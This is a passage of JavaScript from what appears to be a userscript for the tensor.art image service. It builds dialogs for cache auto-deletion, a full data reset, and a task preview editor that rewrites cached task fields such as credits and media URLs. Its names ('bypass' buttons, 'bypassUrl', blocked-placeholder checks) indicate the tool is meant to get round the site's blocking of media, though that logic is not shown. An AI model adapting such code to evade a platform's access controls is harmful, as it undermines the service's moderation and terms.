      clearDateBtn.style.cssText = 'align-self:flex-start; background:transparent; border:1px solid #475569; border-radius:6px; color:#94a3b8; font-size:11px; padding:4px 10px; cursor:pointer;';
      clearDateBtn.textContent = 'Clear date';
      clearDateBtn.onclick = () => { dateInput.value = ''; rule.deleteAfterDate = null; };
      dateSection.appendChild(clearDateBtn);
      contentArea.appendChild(dateSection);

      // Count condition
      const countSection = document.createElement('div');
      countSection.style.cssText = 'display:flex; flex-direction:column; gap:6px; padding:10px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.13); border-radius:8px;';
      countSection.innerHTML = `
        <div style="font-size:12px; font-weight:600; color:${colors.text};"><i class="fas fa-layer-group" style="margin-right:8px; color:#6366f1;"></i>Delete When Count Exceeds</div>
        <div style="font-size:11px; color:#94a3b8;">Clear when the stored item count reaches or exceeds this number (currently: ${currentCount})</div>
      `;
      const countInput = document.createElement('input');
      countInput.type = 'number';
      countInput.min = '1';
      countInput.placeholder = 'Enter max item count (e.g. 500)';
      countInput.value = rule.deleteWhenCount != null ? String(rule.deleteWhenCount) : '';
      countInput.style.cssText = 'background:#1e293b; border:1px solid #475569; border-radius:6px; color:#f1f5f9; font-size:12px; padding:6px 10px; width:100%; box-sizing:border-box;';
      countInput.onchange = () => {
        const v = parseInt(countInput.value, 10);
        rule.deleteWhenCount = isNaN(v) || v < 1 ? null : v;
      };
      countSection.appendChild(countInput);
      contentArea.appendChild(countSection);

      // Options
      const optionsSection = document.createElement('div');
      optionsSection.style.cssText = 'display:flex; flex-direction:column; gap:8px;';

      const makeOption = (fieldKey, labelText, subText) => {
        const row = document.createElement('label');
        row.style.cssText = 'display:flex; align-items:center; gap:10px; padding:8px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.12); border-radius:8px; cursor:pointer;';
        const chk = document.createElement('input');
        chk.type = 'checkbox';
        chk.checked = !!rule[fieldKey];
        chk.style.cssText = 'width:15px; height:15px; cursor:pointer; accent-color:#6366f1; flex-shrink:0;';
        chk.onchange = () => { rule[fieldKey] = chk.checked; };
        const lbl = document.createElement('div');
        lbl.innerHTML = `<div style="font-size:12px; font-weight:600; color:${colors.text};">${labelText}</div><div style="font-size:10px; color:#94a3b8; margin-top:2px;">${subText}</div>`;
        row.appendChild(chk);
        row.appendChild(lbl);
        return row;
      };

      optionsSection.appendChild(makeOption('showConfirmation', 'Show Confirmation Dialog', 'Display a confirmation prompt before applying the rule instead of deleting automatically'));
      optionsSection.appendChild(makeOption('permanent', 'Permanent Rule (Re-apply)', 'Keep rule active and re-apply it every time the condition is met. If unchecked, rule deactivates after first trigger.'));
      contentArea.appendChild(optionsSection);

      // Save button
      const saveBtn = document.createElement('button');
      saveBtn.className = 'bypass-btn bypass-btn-primary';
      saveBtn.style.cssText = 'padding:8px 20px; font-size:12px; font-weight:700; align-self:flex-start;';
      saveBtn.innerHTML = '<i class="fas fa-save" style="margin-right:6px;"></i>Save Rule';
      saveBtn.onclick = () => {
        saveDeletionRules(workingRules);
        showToast(`Rule saved for ${typeEntry.label}`, 'success');
        // Re-render tab bar to update indicator dots
        renderTabBar();
      };
      contentArea.appendChild(saveBtn);
    }

    renderTabBar();
    renderContent();

    overlay.appendChild(dialog);
    overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
    document.body.appendChild(overlay);
  }

  function showResetAllDataDialog() {
    const colors = getThemeColors();

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      background: rgba(0, 0, 0, 0.8);
      backdrop-filter: blur(8px);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 10000050;
      padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(620px, 96vw);
      background: ${colors.bg};
      border: 1px solid rgba(239, 68, 68, 0.45);
      border-radius: 18px;
      box-shadow: 0 28px 90px rgba(0, 0, 0, 0.55);
      color: ${colors.text};
      overflow: hidden;
    `;

    dialog.innerHTML = `
      <div style="padding:20px 22px; border-bottom:1px solid rgba(239,68,68,0.28); background:linear-gradient(135deg, rgba(127,29,29,0.9), rgba(69,10,10,0.92)); color:white;">
        <div style="display:flex; align-items:center; gap:12px;">
          <div style="width:46px; height:46px; border-radius:50%; display:flex; align-items:center; justify-content:center; background:rgba(255,255,255,0.12); font-size:22px;">
            <i class="fas fa-triangle-exclamation"></i>
          </div>
          <div>
            <div style="font-size:18px; font-weight:900;">Reset and Delete All Data</div>
            <div style="font-size:12px; opacity:0.9; margin-top:4px;">This is a full factory reset for this tool.</div>
          </div>
        </div>
      </div>
      <div style="padding:20px 22px; display:grid; gap:14px;">
        <div style="font-size:13px; line-height:1.7; color:${colors.textSecondary};">
          This means <strong style="color:${colors.text};">everything</strong> related to this tool will be removed completely, including:
        </div>
        <ul style="margin:0; padding-left:20px; color:${colors.textSecondary}; font-size:13px; line-height:1.7; display:grid; gap:4px;">
          <li>Cached tasks and cached media items</li>
          <li>Account info, linked tasks, and profiles</li>
          <li>Settings, configs, notifications, and hidden/permanent-delete lists</li>
          <li>Background logs and IndexedDB data used by this tool</li>
        </ul>
        <div style="padding:12px 14px; border-radius:12px; background:rgba(239,68,68,0.10); border:1px solid rgba(239,68,68,0.25); color:#fecaca; font-size:12px; line-height:1.6;">
          <strong>Strict warning:</strong> after deletion, the page will reload and the tool will behave like a fresh install.
        </div>
        <div style="display:flex; gap:10px; justify-content:flex-end; flex-wrap:wrap; margin-top:4px;">
          <button class="bypass-btn bypass-btn-secondary" data-bypass-reset-cancel style="width:auto; padding:10px 16px;">Cancel</button>
          <button class="bypass-btn bypass-btn-danger" data-bypass-reset-confirm style="width:auto; padding:10px 16px;"><i class="fas fa-trash"></i> Delete Everything & Reload</button>
        </div>
      </div>
    `;

    dialog.querySelector('[data-bypass-reset-cancel]').onclick = () => overlay.remove();
    dialog.querySelector('[data-bypass-reset-confirm]').onclick = async () => {
      overlay.remove();
      await resetAllToolData();
    };

    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function formatTaskPreviewEditableDate(value) {
    const raw = String(value ?? '').trim();
    if (!raw) return '';
    const normalized = normalizeTimestamp(raw);
    if (!normalized) return raw;
    try {
      return new Date(normalized).toLocaleString();
    } catch {
      return raw;
    }
  }

  function parseTaskPreviewEditableDate(value, originalValue = null) {
    const raw = String(value ?? '').trim();
    if (!raw) return '';
    if (/^\d+$/.test(raw)) return raw;
    const parsed = Date.parse(raw);
    if (!Number.isFinite(parsed)) return raw;
    const original = String(originalValue ?? '').trim();
    if (/^\d+$/.test(original) && original.length <= 10) {
      return String(Math.floor(parsed / 1000));
    }
    return String(parsed);
  }

  function persistTaskPreviewEditedTask(task, source = 'task-preview-modifier') {
    if (!task || typeof task !== 'object') return false;

    const nextTask = cloneToolData(task, task) || { ...task };
    const taskId = String(nextTask.taskId || '').trim();
    const routeId = String(nextTask.routeId || '').trim();
    if (!taskId && !routeId) return false;

    nextTask.taskId = taskId || nextTask.taskId || '';
    nextTask.routeId = routeId || nextTask.routeId || '';
    nextTask.source = nextTask.source || 'tensor.art';
    nextTask.recordedAt = Number(nextTask.recordedAt) || Date.now();
    nextTask.items = Array.isArray(nextTask.items)
      ? nextTask.items.map((item) => (cloneToolData(item, item) || { ...item }))
      : [];

    cacheTasks([nextTask]);
    recordTaskData(nextTask);

    try {
      const cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
      if (taskId) cache[taskId] = nextTask;
      if (routeId) cache[routeId] = nextTask;
      safeLocalStorageSet(TASK_CACHE_KEY, JSON.stringify(cache));
    } catch {
      // ignore
    }

    try {
      let accountCacheChanged = false;
      Object.values(accountTasksCache || {}).forEach((bucket) => {
        if (!bucket || typeof bucket !== 'object') return;
        if (taskId && bucket[taskId]) {
          bucket[taskId] = { ...bucket[taskId], ...resolveTaskData(taskId), raw: nextTask, items: nextTask.items };
          accountCacheChanged = true;
        }
        if (routeId && bucket[routeId]) {
          bucket[routeId] = { ...bucket[routeId], ...resolveTaskData(routeId), raw: nextTask, items: nextTask.items };
          accountCacheChanged = true;
        }
      });
      if (!accountCacheChanged && userToken && taskId) {
        associateTaskWithAccount(userToken, taskId, resolveTaskData(taskId) || {
          taskId,
          routeId,
          raw: nextTask,
          items: nextTask.items,
          source: nextTask.source,
          recordedAt: nextTask.recordedAt
        });
        accountCacheChanged = true;
      }
      if (accountCacheChanged) {
        safeLocalStorageSet(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
      }
    } catch {
      // ignore
    }

    const itemsById = new Map((Array.isArray(itemsData) ? itemsData : []).map((item) => [String(item?.id || item?.imageId || ''), item]));
    nextTask.items.forEach((item) => {
      const imageId = String(item?.imageId || item?.id || '').trim();
      if (!imageId) return;
      const existing = itemsById.get(imageId) || {};
      const mimeType = item?.mimeType || existing.mimeType || '';
      const itemUrl = item?.url || item?.downloadUrl || item?.mediaUrl || item?.resourceUrl || existing.url || null;
      const entry = {
        ...existing,
        id: imageId,
        imageId,
        mimeType,
        type: getItemType(mimeType),
        taskId: routeId || taskId || existing.taskId || null,
        createdAt: nextTask.createdAt || existing.createdAt || null,
        expiresAt: nextTask.expireAt || nextTask.expiresAt || existing.expiresAt || null,
        width: item?.width ?? existing.width ?? null,
        height: item?.height ?? existing.height ?? null,
        url: itemUrl,
        downloadFileName: item?.downloadFileName || existing.downloadFileName || null,
        workflowTemplateInfo: nextTask.workflowTemplateInfo || existing.workflowTemplateInfo || null,
        workflowInfo: nextTask.workflowInfo || existing.workflowInfo || null,
        visualParameters: Array.isArray(nextTask.visualParameters) ? cloneToolData(nextTask.visualParameters, nextTask.visualParameters) : (existing.visualParameters || []),
        parameters: nextTask.parameters || existing.parameters || null,
        workspaceType: nextTask.workspaceType || existing.workspaceType || null,
        source: nextTask.source || existing.source || 'tensor.art'
      };
      itemsById.set(imageId, entry);

      itemMap.set(imageId, {
        ...(itemMap.get(imageId) || {}),
        imageId,
        taskId,
        routeId,
        invalid: item?.invalid,
        mimeType,
        url: itemUrl,
        width: entry.width,
        height: entry.height,
        seed: item?.seed ?? (itemMap.get(imageId) || {}).seed ?? null,
        downloadFileName: entry.downloadFileName,
        workflowTemplateInfo: nextTask.workflowTemplateInfo || null,
        workflowInfo: nextTask.workflowInfo || null,
        visualParameters: Array.isArray(nextTask.visualParameters) ? cloneToolData(nextTask.visualParameters, nextTask.visualParameters) : [],
        parameters: nextTask.parameters || null,
        workspaceType: nextTask.workspaceType || null,
        rawTask: nextTask,
        source: nextTask.source || 'tensor.art'
      });

      if (itemUrl && !isBlockedPlaceholderUrl(itemUrl)) {
        setCachedDownloadUrl(imageId, itemUrl, mimeType, getMediaKindFromMime(mimeType) || '');
      }
      if (item?.invalid || isBlockedPlaceholderUrl(itemUrl)) blockedItems.add(imageId);
      else blockedItems.delete(imageId);
    });

    itemsData = Array.from(itemsById.values()).sort((a, b) => String(b?.id || '').localeCompare(String(a?.id || '')));
    updateCollapseBtnWithItems();
    if (isExpanded) updateUI();
    freeInternetConsoleLog('Cache Modifier', 'success', 'Saved task preview changes back to cache', {
      source,
      taskId: taskId || null,
      routeId: routeId || null,
      items: nextTask.items.length
    });
    return true;
  }

  function showTaskPreviewDialog(result) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `position:fixed; inset:0; background:rgba(0,0,0,0.85); display:flex; align-items:center; justify-content:center; z-index:10000000; backdrop-filter:blur(8px); padding:18px;`;

    const style = document.createElement('style');
    style.textContent = `
      .bypass-task-preview-dialog {
        scrollbar-width: thin;
        scrollbar-color: rgba(99,102,241,0.68) rgba(15,23,42,0.16);
      }
      .bypass-task-preview-dialog::-webkit-scrollbar,
      .bypass-task-preview-dialog *::-webkit-scrollbar {
        width: 10px;
        height: 10px;
      }
      .bypass-task-preview-dialog::-webkit-scrollbar-track,
      .bypass-task-preview-dialog *::-webkit-scrollbar-track {
        background: rgba(15,23,42,0.14);
        border-radius: 999px;
      }
      .bypass-task-preview-dialog::-webkit-scrollbar-thumb,
      .bypass-task-preview-dialog *::-webkit-scrollbar-thumb {
        background: linear-gradient(180deg, rgba(99,102,241,0.88), rgba(56,189,248,0.72));
        border-radius: 999px;
        border: 2px solid rgba(15,23,42,0.18);
      }
      .bypass-task-preview-dialog::-webkit-scrollbar-thumb:hover,
      .bypass-task-preview-dialog *::-webkit-scrollbar-thumb:hover {
        background: linear-gradient(180deg, rgba(99,102,241,1), rgba(14,165,233,0.82));
      }
    `;
    overlay.appendChild(style);

    const dialog = document.createElement('div');
    dialog.className = 'bypass-task-preview-dialog';
    dialog.style.cssText = `background:${colors.bg}; border-radius:16px; width:95%; max-width:860px; max-height:90vh; overflow-y:auto; box-shadow:0 25px 80px rgba(0,0,0,0.9); border:1px solid ${colors.border}; color:${colors.text};`;

    const header = document.createElement('div');
    header.style.cssText = `padding:20px; border-bottom:1px solid ${colors.border}; position:sticky; top:0; background:${colors.bg}; z-index:2;`;

    const content = document.createElement('div');
    content.style.cssText = 'padding:20px; display:grid; gap:20px;';

    let modifierEnabled = false;
    let rawExpanded = false;
    let taskDraft = result.type === 'task'
      ? (cloneToolData(result.data, result.data) || { ...(result.data || {}) })
      : (cloneToolData(result.data, result.data) || { ...(result.data || {}) });

    const close = () => overlay.remove();

    const getPathValue = (obj, path) => {
      if (!obj || !path) return undefined;
      return String(path).split('.').reduce((acc, part) => {
        if (acc == null) return undefined;
        return acc[part];
      }, obj);
    };

    const setPathValue = (obj, path, value) => {
      if (!obj || !path) return;
      const parts = String(path).split('.');
      let cursor = obj;
      for (let i = 0; i < parts.length - 1; i += 1) {
        const key = parts[i];
        const nextKey = parts[i + 1];
        if (cursor[key] == null || typeof cursor[key] !== 'object') {
          cursor[key] = /^\d+$/.test(nextKey) ? [] : {};
        }
        cursor = cursor[key];
      }
      cursor[parts[parts.length - 1]] = value;
    };

    const autoResizeField = (el) => {
      if (!el || el.tagName !== 'TEXTAREA') return;
      el.style.height = 'auto';
      el.style.height = `${Math.max(el.scrollHeight, 120)}px`;
      el.style.overflow = 'hidden';
    };

    const createEditorField = (path, value, options = {}) => {
      const { multiline = false, placeholder = '', type = 'text', accent = colors.text, fontFamily = '', minHeight = 38 } = options;
      const field = document.createElement(multiline ? 'textarea' : 'input');
      field.setAttribute('data-preview-field', path);
      field.setAttribute('data-preview-field-type', type);
      if (!multiline) field.type = 'text';
      field.value = value == null ? '' : String(value);
      field.placeholder = placeholder;
      field.spellcheck = false;
      field.style.cssText = `
        width:100%;
        min-width:0;
        padding:10px 12px;
        border-radius:10px;
        border:1px solid ${colors.border};
        background:${colors.bg};
        color:${accent};
        font-size:12px;
        line-height:1.55;
        outline:none;
        ${fontFamily ? `font-family:${fontFamily};` : ''}
        ${multiline ? `resize:none; min-height:${minHeight}px; overflow:hidden;` : ''}
      `;
      if (multiline) {
        field.addEventListener('input', () => autoResizeField(field));
        requestAnimationFrame(() => autoResizeField(field));
      }
      return field;
    };

    const readTaskDraftFromUi = ({ allowRaw = true } = {}) => {
      if (result.type !== 'task') return taskDraft;
      if (modifierEnabled && allowRaw && rawExpanded) {
        const rawEditor = content.querySelector('[data-preview-raw-editor]');
        const rawText = String(rawEditor?.value || '').trim();
        if (rawText) {
          const parsed = JSON.parse(rawText);
          if (!parsed || typeof parsed !== 'object') throw new Error('Raw JSON editor must contain a task object.');
          return parsed;
        }
      }

      const nextTask = cloneToolData(taskDraft, taskDraft) || { ...taskDraft };
      content.querySelectorAll('[data-preview-field]').forEach((field) => {
        const path = field.getAttribute('data-preview-field');
        const type = field.getAttribute('data-preview-field-type') || 'text';
        const originalValue = getPathValue(taskDraft, path);
        let nextValue = field.value;
        if (type === 'number') {
          const trimmed = String(nextValue || '').trim();
          nextValue = trimmed === '' ? '' : trimmed;
        }
        if (type === 'date') {
          nextValue = parseTaskPreviewEditableDate(nextValue, originalValue);
        }
        setPathValue(nextTask, path, nextValue);
      });
      return nextTask;
    };

    const saveTaskDraft = () => {
      try {
        const nextTask = readTaskDraftFromUi({ allowRaw: true });
        if (!persistTaskPreviewEditedTask(nextTask)) {
          throw new Error('Unable to save task changes because no task id/route id was found.');
        }
        taskDraft = cloneToolData(nextTask, nextTask) || { ...nextTask };
        result.data = cloneToolData(taskDraft, taskDraft) || { ...taskDraft };
        showToast('Cache modifier saved task changes', 'success');
        render();
      } catch (error) {
        showToast(`Save failed: ${String(error?.message || error)}`, 'error');
        freeInternetConsoleLog('Cache Modifier', 'error', 'Failed saving task preview edits', {
          taskId: result?.taskId || result?.data?.taskId || null,
          error: String(error?.message || error)
        });
      }
    };

    const openFullJsonEditor = () => {
      let editorValue = '';
      try {
        editorValue = JSON.stringify(readTaskDraftFromUi({ allowRaw: false }), null, 2);
      } catch {
        editorValue = JSON.stringify(taskDraft, null, 2);
      }
      showCodeEditorDialog({
        title: 'Task cache JSON editor',
        description: 'Edit the full cached task object. Save applies the result back into the local cache modifier system.',
        initialValue: editorValue,
        confirmLabel: 'Apply JSON',
        downloadFilename: `task_${sanitizeFilename(String(taskDraft?.taskId || taskDraft?.routeId || 'preview'))}.json`,
        validate: (text) => {
          const parsed = JSON.parse(text);
          if (!parsed || typeof parsed !== 'object') throw new Error('JSON must be an object.');
          return parsed;
        }
      }, (parsed) => {
        taskDraft = cloneToolData(parsed, parsed) || { ...parsed };
        rawExpanded = true;
        modifierEnabled = true;
        showToast('Applied JSON to cache modifier draft', 'success');
        render();
      });
    };

    const renderHeader = () => {
      const idLabel = result.type === 'task'
        ? (taskDraft?.taskId || taskDraft?.routeId || result.taskId || 'Unknown Task')
        : (result.id || 'Unknown Item');
      header.innerHTML = `
        <div style="display:flex; justify-content:space-between; align-items:center; gap:12px;">
          <div>
            <h2 style="margin:0; font-size:18px; color:#6366f1;">
              <i class="fas ${result.type === 'task' ? 'fa-folder' : 'fa-image'}"></i> ${result.type === 'task' ? 'Task' : 'Item'} Preview
            </h2>
            <p style="margin:4px 0 0 0; font-size:12px; color:${colors.textSecondary};">${escapeHtml(String(idLabel))}</p>
          </div>
          <button type="button" data-preview-close style="background:transparent; border:none; color:${colors.text}; cursor:pointer; font-size:24px; line-height:1; padding:4px 8px; border-radius:10px;">×</button>
        </div>
      `;
      header.querySelector('[data-preview-close]')?.addEventListener('click', close);
    };

    const appendTaskInfoSection = (task) => {
      const section = document.createElement('div');
      section.style.cssText = 'display:grid; gap:12px;';
      const title = document.createElement('h3');
      title.style.cssText = `font-size:14px; margin:0; color:${colors.text};`;
      title.innerHTML = '<i class="fas fa-info-circle"></i> Task Information';
      section.appendChild(title);

      const grid = document.createElement('div');
      grid.style.cssText = 'display:grid; gap:8px; font-size:12px;';

      const templateNamePath = task?.workflowTemplateInfo?.name != null ? 'workflowTemplateInfo.name' : 'workflowInfo.name';
      const creditsPath = task?.raw?.credits != null ? 'raw.credits' : 'credits';
      const processPercentPath = task?.raw?.processPercent != null ? 'raw.processPercent' : 'processPercent';

      const rows = [
        { label: 'Tool Name', icon: 'fa-wrench', path: templateNamePath, value: task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || result.toolName || '', accent: colors.text },
        { label: 'Task ID', icon: 'fa-tag', path: 'taskId', value: task?.taskId || '', accent: '#6366f1', mono: true },
        { label: 'Status', icon: 'fa-check-circle', path: 'status', value: task?.status || '', accent: task?.status === 'FINISH' ? '#10b981' : (task?.status === 'FAILED' ? '#ef4444' : '#f59e0b') },
        { label: 'Process %', icon: 'fa-chart-line', path: processPercentPath, value: String(task?.raw?.processPercent ?? task?.processPercent ?? 100), accent: '#fbbf24' },
        { label: 'Workspace', icon: 'fa-layer-group', path: 'workspaceType', value: task?.workspaceType || '', accent: colors.text },
        { label: 'Created', icon: 'fa-clock', path: 'createdAt', value: formatTaskPreviewEditableDate(task?.createdAt), accent: colors.text, type: 'date' },
        { label: 'Expires', icon: 'fa-hourglass-end', path: 'expireAt', value: formatTaskPreviewEditableDate(task?.expireAt), accent: colors.text, type: 'date' },
        { label: 'Started', icon: 'fa-play', path: 'raw.taskStartAt', value: formatTaskPreviewEditableDate(task?.raw?.taskStartAt), accent: colors.text, type: 'date' },
        { label: 'Finished', icon: 'fa-flag-checkered', path: 'raw.taskFinishAt', value: formatTaskPreviewEditableDate(task?.raw?.taskFinishAt), accent: colors.text, type: 'date' },
        { label: 'Source', icon: 'fa-link', path: 'source', value: task?.source || result.source || '', accent: '#a78bfa' },
        { label: 'Items', icon: 'fa-images', path: '', value: String(Array.isArray(task?.items) ? task.items.length : 0), accent: colors.text, readOnly: true },
        { label: 'Credits', icon: 'fa-coins', path: creditsPath, value: String(task?.raw?.credits ?? task?.credits ?? ''), accent: '#fbbf24' },
        { label: 'User ID', icon: 'fa-user', path: 'userId', value: task?.userId || '', accent: colors.text, mono: true },
        { label: 'Route ID', icon: 'fa-route', path: 'routeId', value: task?.routeId || '', accent: colors.text, mono: true }
      ];

      rows.forEach((row) => {
        const line = document.createElement('div');
        line.style.cssText = `display:flex; justify-content:space-between; align-items:flex-start; gap:12px; padding:8px; background:${colors.bgSecondary}; border-radius:6px;`;
        const label = document.createElement('span');
        label.style.cssText = `color:${colors.textSecondary}; flex-shrink:0;`;
        label.innerHTML = `<i class="fas ${row.icon}"></i> ${row.label}:`;
        line.appendChild(label);

        const valueHost = document.createElement('div');
        valueHost.style.cssText = 'flex:1; min-width:0; text-align:right;';
        if (modifierEnabled && row.path && !row.readOnly) {
          valueHost.appendChild(createEditorField(row.path, row.value, {
            type: row.type || 'text',
            accent: row.accent,
            fontFamily: row.mono ? "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace" : ''
          }));
        } else {
          const value = document.createElement('span');
          value.style.cssText = `color:${row.accent}; font-weight:600; ${row.mono ? "font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; font-size:10px;" : ''} word-break:break-word;`;
          value.textContent = row.value || '—';
          valueHost.appendChild(value);
        }
        line.appendChild(valueHost);
        grid.appendChild(line);
      });

      section.appendChild(grid);

      const visualParams = Array.isArray(task?.visualParameters) ? task.visualParameters : [];
      if (visualParams.length) {
        const visualWrap = document.createElement('div');
        visualWrap.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border-left:3px solid #a78bfa; display:grid; gap:8px;`;
        visualWrap.innerHTML = `<div style="color:${colors.text}; font-weight:600; font-size:12px;"><i class="fas fa-sliders-h"></i> Visual Parameters</div>`;
        visualParams.forEach((param, index) => {
          const row = document.createElement('div');
          row.style.cssText = 'display:grid; gap:6px;';
          if (modifierEnabled) {
            row.appendChild(createEditorField(`visualParameters.${index}.name`, param?.name || '', { placeholder: 'Parameter name', accent: '#a78bfa' }));
            row.appendChild(createEditorField(`visualParameters.${index}.value`, param?.value || '', { placeholder: 'Parameter value', multiline: true, accent: colors.text, minHeight: 70 }));
          } else {
            row.innerHTML = `<div style="font-size:11px; line-height:1.6;"><span style="color:#a78bfa; font-weight:600;">${escapeHtml(String(param?.name || 'Unnamed'))}:</span> <span style="color:white;">${escapeHtml(String(param?.value || ''))}</span></div>`;
          }
          visualWrap.appendChild(row);
        });
        section.appendChild(visualWrap);
      }

      const parametersValue = task?.parameters || task?.raw?.parameters || '';
      if (parametersValue || modifierEnabled) {
        const paramWrap = document.createElement('div');
        paramWrap.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border-left:3px solid #10b981; display:grid; gap:8px;`;
        paramWrap.innerHTML = `<div style="color:${colors.text}; font-weight:600; font-size:11px;"><i class="fas fa-cog"></i> Parameters</div>`;
        if (modifierEnabled) {
          paramWrap.appendChild(createEditorField('parameters', parametersValue, {
            multiline: true,
            accent: colors.textSecondary,
            fontFamily: "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace",
            minHeight: 120
          }));
        } else {
          const text = document.createElement('div');
          text.style.cssText = `color:${colors.textSecondary}; font-size:10px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; word-break:break-all; white-space:pre-wrap;`;
          text.textContent = parametersValue || 'No parameters';
          paramWrap.appendChild(text);
        }
        section.appendChild(paramWrap);
      }

      content.appendChild(section);
    };

    const appendItemsSection = (task) => {
      const items = Array.isArray(task?.items) ? task.items : [];
      if (!items.length) return;

      const section = document.createElement('div');
      section.style.cssText = 'display:grid; gap:12px;';
      section.innerHTML = `<h3 style="font-size:14px; margin:0; color:${colors.text};"><i class="fas fa-images"></i> Items Details</h3>`;

      const list = document.createElement('div');
      list.style.cssText = 'display:flex; flex-direction:column; gap:10px; max-height:400px; overflow-y:auto; padding-right:4px;';

      items.forEach((item, index) => {
        const imageId = item?.imageId || item?.id;
        if (!imageId) return;
        const card = document.createElement('div');
        card.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border:1px solid ${colors.border}; display:grid; gap:8px;`;

        const status = getMediaStatus(imageId);
        const statusIcons = [];
        if (status.downloaded) statusIcons.push('<i class="fas fa-download" title="Downloaded" style="color:#10b981;"></i>');
        if (status.telegram) statusIcons.push('<i class="fab fa-telegram" title="Sent to Telegram" style="color:#0088cc;"></i>');
        if (status.discord) statusIcons.push('<i class="fab fa-discord" title="Sent to Discord" style="color:#5865f2;"></i>');

        card.innerHTML = `
          <div style="display:flex; justify-content:space-between; gap:10px; align-items:flex-start;">
            <div style="display:grid; gap:3px; min-width:0;">
              <div style="font-weight:700; color:#6366f1; font-size:11px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;">${escapeHtml(String(imageId))}</div>
              <div style="font-size:10px; color:${colors.textSecondary};">${escapeHtml(String(item?.mimeType || 'Unknown type'))}</div>
            </div>
            <div style="display:flex; gap:6px; align-items:center; flex-shrink:0;">${statusIcons.join('')}</div>
          </div>
        `;

        const fieldsWrap = document.createElement('div');
        fieldsWrap.style.cssText = 'display:grid; gap:8px;';
        const itemFields = [
          { label: 'Image ID', path: `items.${index}.imageId`, value: item?.imageId || '', accent: '#6366f1', mono: true },
          { label: 'Mime Type', path: `items.${index}.mimeType`, value: item?.mimeType || '', accent: colors.text },
          { label: 'Width', path: `items.${index}.width`, value: item?.width || '', accent: colors.textSecondary },
          { label: 'Height', path: `items.${index}.height`, value: item?.height || '', accent: colors.textSecondary },
          { label: 'URL', path: `items.${index}.url`, value: item?.url || item?.downloadUrl || item?.mediaUrl || '', accent: '#93c5fd', mono: true }
        ];

        itemFields.forEach((field) => {
          const row = document.createElement('div');
          row.style.cssText = 'display:grid; gap:4px;';
          const label = document.createElement('div');
          label.style.cssText = `font-size:10px; color:${colors.textSecondary}; font-weight:700; text-transform:uppercase; letter-spacing:0.35px;`;
          label.textContent = field.label;
          row.appendChild(label);
          if (modifierEnabled) {
            row.appendChild(createEditorField(field.path, field.value, {
              multiline: field.label === 'URL',
              accent: field.accent,
              fontFamily: field.mono ? "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace" : '',
              minHeight: field.label === 'URL' ? 110 : 38
            }));
          } else {
            const value = document.createElement(field.label === 'URL' ? 'a' : 'div');
            if (field.label === 'URL') {
              value.href = field.value || '#';
              value.target = '_blank';
              value.rel = 'noopener noreferrer';
              value.style.cssText = `font-size:10px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; color:#93c5fd; word-break:break-all; text-decoration:none;`;
            } else {
              value.style.cssText = `font-size:11px; color:${field.accent}; ${field.mono ? "font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;" : ''}`;
            }
            value.textContent = field.value || '—';
            row.appendChild(value);
          }
          fieldsWrap.appendChild(row);
        });

        card.appendChild(fieldsWrap);
        list.appendChild(card);
      });

      section.appendChild(list);
      content.appendChild(section);
    };

    const appendPreviewSection = (task) => {
      const items = Array.isArray(task?.items) ? task.items : [];
      if (!items.length) return;
      const section = document.createElement('div');
      section.style.cssText = 'display:grid; gap:12px;';
      section.innerHTML = `<h3 style="font-size:14px; margin:0; color:${colors.text};">Media Preview</h3>`;
      const grid = document.createElement('div');
      grid.style.cssText = 'display:grid; grid-template-columns:repeat(auto-fill, minmax(150px, 1fr)); gap:12px;';

      items.slice(0, 6).forEach((item) => {
        if (!item?.imageId) return;
        const tile = document.createElement('div');
        tile.style.cssText = `aspect-ratio:1; border-radius:8px; overflow:hidden; border:1px solid ${colors.border}; position:relative; cursor:pointer; background:${colors.bgSecondary};`;
        const mimeType = item?.mimeType || '';
        if (mimeType.startsWith('video/')) {
          const video = document.createElement('video');
          video.controls = true;
          video.muted = true;
          video.preload = 'metadata';
          video.style.cssText = 'width:100%; height:100%; object-fit:cover;';
          tile.appendChild(video);
          (async () => {
            try {
              const bypassUrl = getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
              if (!bypassUrl) throw new Error('No bypass URL');
              video.src = bypassUrl;
              attachAutoRefreshOnMediaError(video, item.imageId, mimeType || 'video/mp4', { forceKind: 'video' });
            } catch {
              tile.innerHTML = `<div style="width:100%; height:100%; display:flex; align-items:center; justify-content:center; background:rgba(99,102,241,0.1); color:#6366f1;"><i class="fas fa-play-circle" style="font-size:48px;"></i></div>`;
            }
          })();
        } else {
          const img = document.createElement('img');
          img.style.cssText = 'width:100%; height:100%; object-fit:cover;';
          tile.appendChild(img);
          (async () => {
            try {
